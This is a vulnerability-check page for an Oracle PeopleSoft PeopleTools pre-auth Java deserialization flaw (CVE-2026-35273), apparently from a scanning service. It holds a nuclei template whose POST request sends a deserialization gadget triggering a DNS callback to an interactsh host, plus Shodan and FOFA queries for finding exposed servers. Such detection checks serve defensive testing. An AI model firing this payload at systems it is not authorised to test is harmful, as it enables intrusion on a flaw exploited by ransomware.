Oracle PeopleSoft PeopleTools PSEMHUB - Pre-Auth Java Deserialization RCE

Exploited in the wild. Listed by CISA on 2026-06-12; known to be used by ransomware.

criticalseverity

9.8CVSS score

96.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Oracle PeopleSoft PeopleTools 8.61 and 8.62 contain a remote code execution vulnerability in Updates Environment Management, letting unauthenticated network attackers fully compromise the system, exploit requires network access via HTTP.

Impact

Unauthenticated attackers can fully compromise PeopleSoft Enterprise PeopleTools, leading to complete system takeover.

Fix

Update to the latest available version beyond 8.62.

How to confirm it

Send: POST /PSEMHUB/hub
Positive when: status_code == 200 and contains(body, 'rO0ABX') and contains(interactsh_protocol, 'dns')

Run it with nuclei: nuclei -id CVE-2026-35273 -u <target>

The full check

id: CVE-2026-35273

info:
  name: Oracle PeopleSoft PeopleTools PSEMHUB - Pre-Auth Java Deserialization RCE
  author: DhiyaneshDk
  severity: critical
  description: |
    Oracle PeopleSoft PeopleTools 8.61 and 8.62 contain a remote code execution vulnerability in Updates Environment Management, letting unauthenticated network attackers fully compromise the system, exploit requires network access via HTTP.
  impact: |
    Unauthenticated attackers can fully compromise PeopleSoft Enterprise PeopleTools, leading to complete system takeover.
  remediation: |
    Update to the latest available version beyond 8.62.
  reference:
    - https://www.oracle.com/security-alerts/alert-cve-2026-35273.html
    - https://cloud.google.com/blog/topics/threat-intelligence/shinyhunters-targets-education-sector-oracle-exploit
    - https://www.rapid7.com/blog/post/etr-active-exploitation-of-oracle-peoplesoft-zero-day-cve-2026-35273/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-35273
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-35273
    epss-score: 0.96678
    epss-percentile: 0.99883
    cwe-id: CWE-502
  metadata:
    verified: true
    max-request: 1
    vendor: oracle
    product: peoplesoft_enterprise_peopletools
    shodan-query: http.html:"PeopleSoft"
    fofa-query: body="PeopleSoft Environment Management Hub"
  tags: cve,cve2026,oracle,peoplesoft,deserialization,rce,kev,oast,vkev

http:
  - raw:
      - |
        POST /PSEMHUB/hub HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        OPERATION={{generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'rO0ABX')"
          - "contains(interactsh_protocol, 'dns')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from